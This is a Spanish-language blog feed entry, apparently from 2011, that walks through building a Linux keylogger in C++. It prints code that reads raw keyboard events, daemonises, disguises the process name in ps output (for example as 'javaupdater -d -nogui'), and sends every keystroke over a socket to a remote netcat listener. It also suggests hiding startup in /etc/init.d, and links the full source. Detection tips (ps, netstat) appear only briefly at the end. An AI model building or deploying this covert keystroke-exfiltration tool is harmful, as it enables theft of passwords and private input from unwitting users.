<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" gd:etag="W/&quot;C0QFQH08eip7ImA9WhRRFEk.&quot;"><id>tag:blogger.com,1999:blog-3131013648748842611</id><updated>2011-11-28T01:48:31.372+01:00</updated><category term="protocolos" /><category term="esteganografía" /><category term="virtualización" /><category term="linux" /><category term="DNI Electrónico" /><category term="criptografía" /><category term="privacidad" /><category term="libros" /><category term="Ingeniería de Seguridad" /><category term="virus" /><category term="eventos" /><category term="libertad de expresión" /><category term="programacion" /><category term="hacking" /><category term="redes" /><category term="analisis forense" /><category term="hardware" /><title>.</title><subtitle type="html" /><link rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" href="http://danteslab.blogspot.com/feeds/posts/default" /><link rel="alternate" type="text/html" href="http://danteslab.blogspot.com/" /><link rel="next" type="application/atom+xml" href="http://www.blogger.com/feeds/3131013648748842611/posts/default?start-index=26&amp;max-results=25&amp;redirect=false&amp;v=2" /><author><name>Dante</name><uri>http://www.blogger.com/profile/10254527212127539302</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><openSearch:totalResults>33</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="http://feeds.feedburner.com/blogspot/gbEOY" /><feedburner:info uri="blogspot/gbeoy" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><entry gd:etag="W/&quot;D08BQHg9eyp7ImA9WhRSEEQ.&quot;"><id>tag:blogger.com,1999:blog-3131013648748842611.post-9017109388088122980</id><published>2011-11-09T20:23:00.000+01:00</published><updated>2011-11-12T12:04:11.663+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-11-12T12:04:11.663+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="redes" /><category scheme="http://www.blogger.com/atom/ns#" term="linux" /><category scheme="http://www.blogger.com/atom/ns#" term="privacidad" /><category scheme="http://www.blogger.com/atom/ns#" term="analisis forense" /><title>Keylogger en Linux</title><content type="html">&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/-loh5l8geXx4/TrpgZmYb9zI/AAAAAAAAAN8/OQ7OsH4FiQA/s1600/no_keyboard3.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="150" src="http://2.bp.blogspot.com/-loh5l8geXx4/TrpgZmYb9zI/AAAAAAAAAN8/OQ7OsH4FiQA/s200/no_keyboard3.jpg" width="200" /&gt;&lt;/a&gt;&lt;/div&gt;
En uno de mis primeros artículos expliqué en qué consistían los &lt;a href="http://danteslab.blogspot.com/2008/02/keyloggers-hardware.html"&gt;keyloggers hardware&lt;/a&gt; y sus implicaciones para la seguridad. Estos dispositivos se conectaban entre el puerto del teclado y el cable del mismo y guardaban o reenviaban a un punto de escucha remoto todo aquello que la víctima teclease. La primera conclusión que&amp;nbsp;extrajimos&amp;nbsp;de aquel artículo era la importancia de reforzar la seguridad física de los equipos para evitar el acceso a los mismos de personas que los manipulen en su provecho.&lt;br /&gt;
&lt;br /&gt;
Sin embargo, además de los keylogger hardware existen los software. Estos son programas que se instalan en el ordenador y funcionan de manera oculta al usuario mientras cazan lo que este teclea. En el presente artículo vamos a desarrollar un keylogger para Linux e iremos estudiando los diferentes conceptos en los que estos se basan.&lt;br /&gt;
&lt;br /&gt;
Linux es un sistema de naturaleza abierta. Al ser un sistema operativo desarrollado por voluntarios se busca que sea sencillo y que todos los recursos sean&amp;nbsp;fácilmente&amp;nbsp;accesibles de manera que no se desanime a los que se quieran iniciar en él. Gracias a ello, hay una abundantísima documentación disponible en la red sobre cómo hacer casi cualquier cosa en Linux, a diferencia de "el otro" sistema operativo preponderante en el que parece que todo está enfocado a que compres una licencia de Visual Studio. En ese sentido una de las cosas que sorprenden a los que se adentran en el mundo de Linux es que el interfaz interno hacia los periféricos del ordenador se realiza a través de ficheros de manera que comunicarse con un periférico es tan sencillo como escribir en su correspondiente fichero y leer de él.&lt;br /&gt;
&lt;br /&gt;
Estos ficheros especiales se sitúan en el subdirectorio &lt;i&gt;/dev&lt;/i&gt;. En el se pueden encontrar, categorizados en diferentes subcarpetas los ficheros correspondientes al ratón, el joystick, la impresora, los dispositivos usb, etc. En concreto, un teclado PS/2 como el mío se suele encontrar en la carpeta &lt;i&gt;/dev/input&lt;/i&gt; en alguno de los ficheros &lt;i&gt;event&lt;/i&gt;. En una primera aproximación, si quiere averiguar a través de qué fichero se puede comunicar con el teclado no tiene más que leer con un cat cada uno de los ficheros, por ejemplo:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class="tr_bq"&gt;
$ &lt;b&gt;sudo cat /dev/input/event0&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Una vez lanzado el &lt;i&gt;cat&lt;/i&gt; abra una ventana y teclee cualquier cosa, si en la ventana donde tiene el cat comienzan a aparecer carácteres extraños conforme teclea ahí es donde se conecta su teclado. Si no ve nada pruebe a hacer &lt;i&gt;cat&lt;/i&gt; sobre el siguiente fichero &lt;i&gt;event&lt;/i&gt;. En mi caso concreto, el teclado se encuentra en el &lt;i&gt;event2&lt;/i&gt;&amp;nbsp;y esto es lo que veo al teclear dante en otra ventana:&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/-Vm674hObHZ8/Tr5Q45mw62I/AAAAAAAAAOE/CwfFLHj3350/s1600/cat_event2_dante.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="117" src="http://3.bp.blogspot.com/-Vm674hObHZ8/Tr5Q45mw62I/AAAAAAAAAOE/CwfFLHj3350/s400/cat_event2_dante.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
En el fondo, un keylogger no tiene más que hacer lo mismo que nosotros: localizar el fichero event correcto, conectarse a él para leer, interpretar los códigos que lee convirtiéndolos a carácteres comprensibles para un humano y reenviar los mismos a donde esté escuchando el usuario del keylogger.&lt;br /&gt;
&lt;br /&gt;
Para ilustrar el proceso he programado un pequeño keylogger que busca el dispositivo donde se encuentra el teclado y a partir de ahí captura las pulsaciones y las envía a un PC remoto donde se pueden visualizar. Además, este keylogger servirá para ilustrar una técnica de ocultación de procesos basada en disfrazar el nombre de la aplicación dentro de la tabla de procesos. El código fuente del &lt;a href="http://danteslab-files.googlecode.com/files/keylogger.tar.gz" target="_blank"&gt;keylogger&lt;/a&gt; se encuentra en mi repositorio de aplicaciones y como podrá comprobar está escrito en C++. El que venga leyendo mis artículos hasta el momento sabrá que prefiero programar en Python pero hay varias razones para cambiar de lenguaje en este caso: por un lado la técnica usada para ocultar el keylogger no se puede utilizar en Python y por otro lado estoy preparando un artículo sobre módulos de kernel troyanos... por lo que no me queda otra opción que ir desempolvando mis conocimientos de programación en C.&lt;br /&gt;
&lt;br /&gt;
Como el código fuente sólo cuenta con dos ficheros (fuente y cabecera), para compilarlo no hace falta más que extraer ambos ficheros en el mismo subdirectorio y hacer:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class="tr_bq"&gt;
$ &lt;b&gt;g++ keylogger.cpp -o keylogger&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Con eso se creará un ejecutable que deberá ser lanzado como sudo ya que el acceso de lectura a los archivos que se encuentran en &lt;i&gt;/dev&lt;/i&gt; está limitado a administradores. Si se ejecuta keylogger sin parámetros aparecerá una ayuda con las diferentes opciones que tiene. En principio estas son muy sencillas: los parámetros obligatorios son los que especifican la dirección IP y el puerto TCP donde se encuentra el proceso que escuchará los carácteres reenviados (generalmente un &lt;i&gt;&lt;a href="http://netcat.sourceforge.net/" target="_blank"&gt;netcat&lt;/a&gt;&lt;/i&gt; en modo escucha) y como parámetros opcionales si se desea establecer la conexión con el proceso de escucha medioante UDP en vez de TCP y si queremos ejecutar el proceso en modo oculto (&lt;i&gt;stealth&lt;/i&gt;). Si le decimos a keylogger que queremos conectar, por ejemplo, con el puerto 5000 de la dirección 10.0.0.3 en el PC que tenga dicha dirección deberemos ejecutar un netcat en modo escucha con la siguiente orden:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class="tr_bq"&gt;
$ &lt;b&gt;nc -l 5000&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
En cuanto se conecte keylogger desde su respectiva dirección empezaremos a ver el volcado de pulsaciones. Si no disponemos de otro PC desde el que realizar la escucha podemos probar keylogger&amp;nbsp;diciéndole&amp;nbsp;que remita las pulsaciones al &lt;i&gt;localhost&lt;/i&gt; (127.0.0.1) y lanzar el netcat desde otra consola.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/-XsSCdsKJD_Q/Tr5SCuS10WI/AAAAAAAAAOM/qUeK2e-8HOA/s1600/proceso_de_escucha.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="113" src="http://4.bp.blogspot.com/-XsSCdsKJD_Q/Tr5SCuS10WI/AAAAAAAAAOM/qUeK2e-8HOA/s400/proceso_de_escucha.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
Por defecto, keylogger escribirá mensajes describiendo su funcionamiento en el fichero de log del sistema donde se ejecute (generalmente /var/log/syslog), pero si le pedimos que active el modo stealth pasará a modo silencioso y dejará de escribir en dicho fichero. Además, en modo stealth keylogger sustituye la orden registrada en el sistema por la cadena que le pasemos de manera que cuando se pida un listado de procesos lo que aparezca sea la cadena falsa en vez del nombre verdadero del programa. Me explico, supongamos que ejecutamos keylogger sin activar el stealth:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class="tr_bq"&gt;
$ &lt;b&gt;sudo ./keylogger&amp;nbsp;-d 127.0.0.1 -p 5000&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Es evidente que si el administrador de la máquina ejecuta un "&lt;i&gt;ps ax&lt;/i&gt;" y ve un proceso llamado "&lt;i&gt;keylogger&lt;/i&gt;..." se echará las manos a la cabeza alarmado. Sin embargo, si activamos el modo stealth:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class="tr_bq"&gt;
$&amp;nbsp;&lt;b&gt;sudo ./keylogger -s "javaupdater -d -nogui" -d 127.0.0.1 -p 5000&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Lo que verá el administrador al hacer un "&lt;i&gt;ps ax&lt;/i&gt;" será un proceso llamado "&lt;i&gt;javaupdater -d -nogui&lt;/i&gt;" por lo que, a no ser que se conozca al dedillo los procesos que deberían ejecutarse en el sistema, le pasará totalmente desapercibido.&lt;br /&gt;
&lt;br /&gt;
Vamos a revisar el código y a explicar su funcionamiento paso a paso.&lt;br /&gt;
&lt;br /&gt;
El programa (en su función main) empieza sacando los parámetros del comando introducido por el usuario a través de la función &lt;i&gt;parse_arguments()&lt;/i&gt; (línea 426) la cual fija la mayor parte de las variables globales del sistema (dirección IP y puerto del proceso de escucha, si activamos el modo stealth, etc). Luego se activa el modo stealth (go_stealth(), línea 432) , si este ha sido solicitado por el usuario. La función go_stealth() tiene la siguiente estructura:&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: #00aaaa;"&gt;void&lt;/span&gt; go_stealth(&lt;span style="color: #00aaaa;"&gt;int&lt;/span&gt; &amp;amp;argc, &lt;span style="color: #00aaaa;"&gt;char&lt;/span&gt; **argv)&lt;br /&gt;
{&lt;br /&gt;
&lt;span style="color: #00aaaa;"&gt;&amp;nbsp; &amp;nbsp; int&lt;/span&gt; argv_lengths[argc];&lt;br /&gt;
&lt;span style="color: #0000aa;"&gt;&amp;nbsp; &amp;nbsp; for&lt;/span&gt; (&lt;span style="color: #00aaaa;"&gt;int&lt;/span&gt; i=&lt;span style="color: #009999;"&gt;0&lt;/span&gt;; i&amp;lt;argc; i++)&lt;br /&gt;
&amp;nbsp; &amp;nbsp;{&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; argv_lengths[i] = strlen(argv[i]);&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; memset(argv[i], &lt;span style="color: #aa5500;"&gt;'\0'&lt;/span&gt;, argv_lengths[i]);&lt;br /&gt;
&amp;nbsp; &amp;nbsp;}&lt;br /&gt;
&lt;span style="color: #00aaaa;"&gt;&amp;nbsp; &amp;nbsp;int&lt;/span&gt; max_argv_length = &lt;span style="color: #009999;"&gt;16&lt;/span&gt;;&lt;br /&gt;
&lt;span style="color: #00aaaa;"&gt;&amp;nbsp; &amp;nbsp;int&lt;/span&gt; maximum_size = strlen(stealth_name.c_str())+&lt;span style="color: #009999;"&gt;1&lt;/span&gt;;&lt;br /&gt;
&lt;span style="color: #00aaaa;"&gt;&amp;nbsp; &amp;nbsp;char&lt;/span&gt; * name_to_split = &lt;span style="color: #0000aa;"&gt;new&lt;/span&gt; &lt;span style="color: #00aaaa;"&gt;char&lt;/span&gt;[maximum_size];&lt;br /&gt;
&amp;nbsp; &amp;nbsp;memset(name_to_split, &lt;span style="color: #009999;"&gt;0&lt;/span&gt;, maximum_size);&lt;br /&gt;
&amp;nbsp; &amp;nbsp;strcpy(name_to_split, stealth_name.c_str());&lt;br /&gt;
&lt;span style="color: #00aaaa;"&gt;&amp;nbsp; &amp;nbsp;char&lt;/span&gt; * token = strtok(name_to_split, &lt;span style="color: #aa5500;"&gt;" "&lt;/span&gt;);&lt;br /&gt;
&lt;span style="color: #00aaaa;"&gt;&amp;nbsp; &amp;nbsp;int&lt;/span&gt; argv_index = &lt;span style="color: #009999;"&gt;0&lt;/span&gt;;&lt;br /&gt;
&amp;nbsp; &amp;nbsp;strncpy(argv[argv_index], token, argv_lengths[argv_index]);&lt;br /&gt;
&amp;nbsp; &amp;nbsp;argv_index++;&lt;br /&gt;
&lt;span style="color: #0000aa;"&gt;&amp;nbsp; &amp;nbsp;while&lt;/span&gt; ((token = strtok(&lt;span style="color: #00aaaa;"&gt;NULL&lt;/span&gt;, &lt;span style="color: #aa5500;"&gt;" "&lt;/span&gt;)) != &lt;span style="color: #00aaaa;"&gt;NULL&lt;/span&gt;)&lt;br /&gt;
&amp;nbsp; &amp;nbsp;{&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;strncpy(argv[argv_index], token, argv_lengths[argv_index]);&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;argv_index++;&lt;br /&gt;
&lt;span style="color: #0000aa;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;if&lt;/span&gt; (argv_index &amp;gt;= argc)&lt;br /&gt;
&lt;span style="color: #0000aa;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;break&lt;/span&gt;;&lt;br /&gt;
&amp;nbsp; &amp;nbsp;}&lt;br /&gt;
&lt;span style="color: #0000aa;"&gt;&amp;nbsp; &amp;nbsp;delete&lt;/span&gt;[] name_to_split;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
Se puede ver que esta función lo primero que hace es borrar el contenido del array de argumentos argv. Esto no supone ningún problema ya que todo lo que podía aportar este array se guardó en la función &lt;i&gt;parse_arguments()&lt;/i&gt;. Este borrado se hace con el memset de la línea 100, llenando cada argumento de carácteres &lt;i&gt;null&lt;/i&gt; ('\0'). Luego se coge la cadena facilitada por el usuario para falsificar el nombre del programa (stealth_name) y se parte en tokens usando como separadores los espacios entra cada uno de los parámetros (mediante la función &lt;i&gt;strtok()&lt;/i&gt; de las líneas 125&amp;nbsp;y 129). Con cada uno de esos tokens se reescribe el correspondiente argumento del array argv (líneas 127 y 131). Al reescribir por completo el array argv, cuando el administrador ejecute "ps ax" lo que verá es el nuevo contenido. Sin embargo hay que tener en cuenta una serie de condiciones a la hora de utilizar esta técnica de camuflaje:&lt;br /&gt;
&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;Cada elemento de argv tiene una longitud fija y determinada por el argumento original. Si argv[0] contenía la cadena "./keylogger" entonces tendrá 11 carácteres de longitud, la cual no podrá ser sobrepasado por la cadena falsa que introduzcamos luego. Por ejemplo, si usásemos: "&lt;i&gt;javaupdater -d -nogui&lt;/i&gt;" valdría ya que javaupdater también tiene 11 carácteres mientras que si usásemos "&lt;i&gt;pythonupdater -d -nogui&lt;/i&gt;" no nos valdría ya que pythonupdater tiene 13 carácteres y sobrepasaría el espacio disponible en argv[0]. Lo dicho es aplicable al resto de los elementos de argv.&lt;/li&gt;
&lt;li&gt;Si usamos una cadena falsa de menos longitud que el argv correspondiente pueden ocurrir dos cosas: si no hemos borrado previamente el contenido de argv como hemos hecho en keylogger veremos como el contenido nuevo y antiguo se superponen lo que estropearía el camuflaje, por otro lado si lo hubiésemos borrado lo que se percibirían sería una serie de espacios entre el final del correspondiente parámetro y el siguiente lo que también resulta llamativo al examinar la salida de un "ps ax".&lt;/li&gt;
&lt;li&gt;Es natural pensar que creando un nuevo array de cadenas y haciendo que argv apuntase a él se podría evitar esta limitación de longitudes pero las pruebas que he hecho en ese sentido han sido infructuosas y lo que he encontrado buceando por Internet me hace pensar que argv es un tipo especial de puntero que no permite ser redireccionado. Si alguien avanza en este sentido más que yo recibiré con agrado sus comentarios al respecto.&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;
Tras la llamada a &lt;i&gt;go_stealth()&lt;/i&gt;, la función main llama a &lt;i&gt;locate_keyboard_device()&lt;/i&gt;&amp;nbsp;(línea 438) la cual analiza el sistema para deducir a través de qué fichero &lt;i&gt;/dev/input/event&lt;/i&gt; se puede acceder al teclado. Para ello lo que hace es leer el fichero &lt;i&gt;/var/log/udev&lt;/i&gt;&amp;nbsp;(referenciado en el programa mediante la variable &lt;i&gt;devices_file&lt;/i&gt;, es un fichero de texto por lo que se puede leer con un simple &lt;i&gt;less&lt;/i&gt;) que contiene información sobre todos los dispositivos conectados al sistema, cada uno de los cuales cuenta con una entrada en el fichero. Se da la situación de que el teclado activo en el sistema cuenta con la cadena "ID_INPUT_KEYBOARD=1" (variable &lt;i&gt;keyboard_tag&lt;/i&gt;) en su registro por lo que sólo tenemos que buscar el registro con dicha cadena y ver a que fichero /dev apunta el registro.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Tras averiguar el dispositivo al que se conecta el teclado hay que averiguar cual es el mapa actual de teclado. Esto se hace en la función &lt;i&gt;load_keymap()&lt;/i&gt; (línea 457). El mapa de teclado define el valor asignado a cada tecla. Hay que tener en cuenta que un teclado de 105 teclas puede ser vendido en EEUU, España o Japón y en cada país aunque el signo que esté impreso en cada tecla difiera las señales eléctricas que entrega el teclado son las mismas. Por ejemplo, un teclado puede entregar la señal eléctrica 39 al pulsar una determinada tecla, en España esa tecla se usa para el carácter "Ñ" pero en otro país puede que se use para otro carácter diferente. Es el mapa de teclado el que define qué carácter está asignado a cada tecla. Puede que haya mejores maneras de hacerlo, pero la que yo he utilizado es ejecutar desde mi programa la orden:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;blockquote class="tr_bq"&gt;
$&amp;nbsp;&lt;b&gt;dumpkeys --keys-only --separate-lines | grep plain&lt;/b&gt;&lt;/blockquote&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Y volcar el resultado en un fichero. Esta orden muestra información sobre el mapa de teclado activo en el sistema. Luego, &lt;i&gt;load_keymap()&lt;/i&gt; procede a leer el fichero resultante línea a línea analizando cada una mediante la función &lt;i&gt;parse_keymap_line()&lt;/i&gt; (línea 191). Esta última función analiza cada línea y deduce la asignación tecla-valor a la que hace referencia&amp;nbsp;guardándola&amp;nbsp;en un objeto &lt;i&gt;Keymap (creado por nosotros a partir de la línea 21)&lt;/i&gt;.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Una vez que tenemos localizado el teclado y aclarado cual es el mapa de teclado, hacemos que el programa pase a modo demonio de manera que siga ejecutándose en segundo plano aunque salgamos de la sesión. El modo demonio es el equivalente Linux de los servicios de Windows. Si&amp;nbsp;quisiéramos&amp;nbsp;que nuestro keylogger se iniciase cada vez que se rebotase el sistema podríamos esconder su orden de arranque en cualquiera de los scripts de inicio de demonios de sistema que se encuentran en &lt;i&gt;/etc/init.d&lt;/i&gt;.&lt;/div&gt;
&lt;div&gt;
La manera de convertir un proceso en demonio no puede ser más sencilla:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
pid_t pid = fork();&lt;br /&gt;
&lt;span style="color: #0000aa;"&gt;if&lt;/span&gt; (pid &amp;lt;&amp;nbsp;&lt;span style="color: #009999;"&gt;0&lt;/span&gt;)&lt;br /&gt;
{&lt;br /&gt;
&amp;nbsp; &amp;nbsp; print(&lt;span style="color: #aa5500;"&gt;"Error while forking."&lt;/span&gt;);&lt;br /&gt;
&amp;nbsp; &amp;nbsp; exit(EXIT_FAILURE);&lt;br /&gt;
}&lt;br /&gt;
&lt;span style="color: #0000aa;"&gt;if&lt;/span&gt; (pid &amp;gt;&amp;nbsp;&lt;span style="color: #009999;"&gt;0&lt;/span&gt;)&lt;br /&gt;
{&lt;br /&gt;
&amp;nbsp; &amp;nbsp; print(&lt;span style="color: #aa5500;"&gt;"Forking correct"&lt;/span&gt;);&lt;br /&gt;
&amp;nbsp; &amp;nbsp; cout &amp;lt;&amp;lt; pid &amp;lt;&amp;lt; endl;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; exit(EXIT_SUCCESS);&lt;br /&gt;
&amp;nbsp; &amp;nbsp; print(&lt;span style="color: #aa5500;"&gt;"Parent died, child lives."&lt;/span&gt;);&lt;br /&gt;
}&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Cuando se llama a fork() (línea 474) se produce una &lt;a href="http://es.wikipedia.org/wiki/Mitosis" target="_blank"&gt;mitosis&lt;/a&gt; de nuestro programa, el resultado es que nuestro programa se divide en dos: el padre que es al que hemos llamado y que corre en primer plano y el hijo que corre en segundo plano. ¿Como se puede distinguir a uno de otro?, el hijo tiene la variable &lt;i&gt;pid&lt;/i&gt; con valor 0 y el padre la tiene con un valor mayor que cero (en &amp;nbsp;realidad el Process ID de su hijo). Como queremos que el resto del programa transcurra en segundo plano le decimos al padre que muera tras imprimir en pantalla el Process ID del hijo (por si queremos matar al keylogger con un &lt;i&gt;kill -9&lt;/i&gt;).&lt;br /&gt;
&lt;br /&gt;
A partir de aquí, estamos corriendo en segundo plano (y si hemos activado el modo stealth figuraremos por un nombre falso en la tabla de procesos). Accederemos al fichero del teclado para leer las pulsaciones de teclado abriéndolo como cualquier otro fichero (línea 502) y después estableceremos un socket contra el equipo de escucha mediante la función &lt;i&gt;connect_to_remote_listener()&lt;/i&gt; (línea 513).&lt;br /&gt;
&lt;br /&gt;
Hecho todo lo anterior, ya estaremos en condiciones de entrar en el bucle principal de escucha y reenvío:&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: #0000aa;"&gt;struct&lt;/span&gt; input_event ev;&lt;br /&gt;
&lt;span style="color: #00aaaa;"&gt;int&lt;/span&gt; ev_size = &lt;span style="color: #0000aa;"&gt;sizeof&lt;/span&gt;(&lt;span style="color: #0000aa;"&gt;struct&lt;/span&gt; input_event);&lt;br /&gt;
&lt;span style="color: #00aaaa;"&gt;int&lt;/span&gt; rd = &lt;span style="color: #009999;"&gt;0&lt;/span&gt;;&lt;br /&gt;
&lt;span style="color: #00aaaa;"&gt;int&lt;/span&gt; value = &lt;span style="color: #009999;"&gt;0&lt;/span&gt;;&lt;br /&gt;
&lt;span style="color: #0000aa;"&gt;while&lt;/span&gt; (&lt;span style="color: #009999;"&gt;1&lt;/span&gt;)&lt;br /&gt;
{&lt;br /&gt;
&lt;span style="color: #0000aa;"&gt;&amp;nbsp; &amp;nbsp; if&lt;/span&gt; ((rd = read (kbd, &amp;amp;ev, ev_size)) &amp;lt; ev_size)&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print(&lt;span style="color: #aa5500;"&gt;"Error reading from device."&lt;/span&gt;);&lt;br /&gt;
&amp;nbsp; &amp;nbsp; value = ev.value;&lt;br /&gt;
&lt;span style="color: #0000aa;"&gt;&amp;nbsp; &amp;nbsp; if&lt;/span&gt; (value != &lt;span style="color: #aa5500;"&gt;' '&lt;/span&gt; &amp;amp;&amp;amp; ev.value == &lt;span style="color: #009999;"&gt;1&lt;/span&gt; &amp;amp;&amp;amp; ev.type == &lt;span style="color: #009999;"&gt;1&lt;/span&gt;) &lt;br /&gt;
&amp;nbsp; &amp;nbsp;{&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; stringstream int2string;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; int2string &amp;lt;&amp;lt; ev.code;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print(&lt;span style="color: #aa5500;"&gt;"Logged keystroke: Code["&lt;/span&gt; + int2string.str() +&lt;span style="color: #aa5500;"&gt;"]\n"&lt;/span&gt;);&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; string mapped_keystroke = system_keymap.getMap(ev.code);&lt;br /&gt;
&lt;span style="color: #0000aa;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if&lt;/span&gt; (mapped_keystroke.size() &amp;gt;&amp;nbsp;&lt;span style="color: #009999;"&gt;1&lt;/span&gt;)&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; mapped_keystroke = &lt;span style="color: #aa5500;"&gt;"&amp;lt;"&lt;/span&gt; + mapped_keystroke + "&amp;gt;&lt;span style="color: #aa5500;"&gt;"&lt;/span&gt;;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print(&lt;span style="color: #aa5500;"&gt;"Mapped keystroke: "&lt;/span&gt; + mapped_keystroke + &lt;span style="color: #aa5500;"&gt;"\n"&lt;/span&gt;);&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; send(sockfd, mapped_keystroke.c_str(), mapped_keystroke.size(), &lt;span style="color: #009999;"&gt;0&lt;/span&gt;);&lt;br /&gt;
&amp;nbsp; &amp;nbsp; }&lt;br /&gt;
}&lt;br /&gt;
print(&lt;span style="color: #aa5500;"&gt;"Exiting keylogger."&lt;/span&gt;);&lt;br /&gt;
close(sockfd);&lt;br /&gt;
&lt;span style="color: #0000aa;"&gt;return&lt;/span&gt; &lt;span style="color: #009999;"&gt;0&lt;/span&gt;;&lt;br /&gt;
&lt;br /&gt;
Como se puede ver en el código anterior la lectura del fichero /dev/input/event es igual que la de cualquier otro fichero con la&amp;nbsp;peculiaridad&amp;nbsp;de que los datos que se leen de él tienen la forma de una estructura &lt;i&gt;input_event&lt;/i&gt;. Los input_event con value y type 1 definen las teclas presionadas, hay otras combinaciones de estos valores para definir los momentos en que las teclas son "soltadas" o "empujadas" (no tengo clara la utilidad de estas casuísticas, sólo me parece útil la de "presión" pero bueno, el caso es que ahí están). Por tanto, cuando se da el caso de una tecla presionada (línea 536), se procede a ver a qué carácter equivale mediante la llamada a &lt;i&gt;system_keymap_getMap()&lt;/i&gt; (línea 541). Si la tecla equivale a un carácter sencillo la cadena devuelta tendrá una longitud de 1 (el carácter mismo) pero si es una tecla de función tendrá una longitud mayor por lo que se presentará al usuario de una manera especial (línea 543). Resuelta la equivalencia con el mapa de teclado actual se manda por el socket establecido previamente hacia el proceso de escucha (línea 545).&lt;br /&gt;
&lt;br /&gt;
Se puede probar el programa y ver que su ejecución es bastante limpia y que si se elije una cadena de ocultamiento adecuada será complicado discernir a través de un listado de "ps ax" si es un proceso lícito o no. Otro medio de detección es usando la orden netstat la cual mostrará los sockets establecidos desde la máquina que ejecuta el keylogger con el mundo exterior, si la cadena de ocultamiento no hace referencia a un programa susceptible de usar la red puede ser bastante sospechoso ver que el mismo establece sockets con el exterior sobre todo si la dirección IP de destino y su puerto son un tanto exóticos.&lt;br /&gt;
&lt;br /&gt;
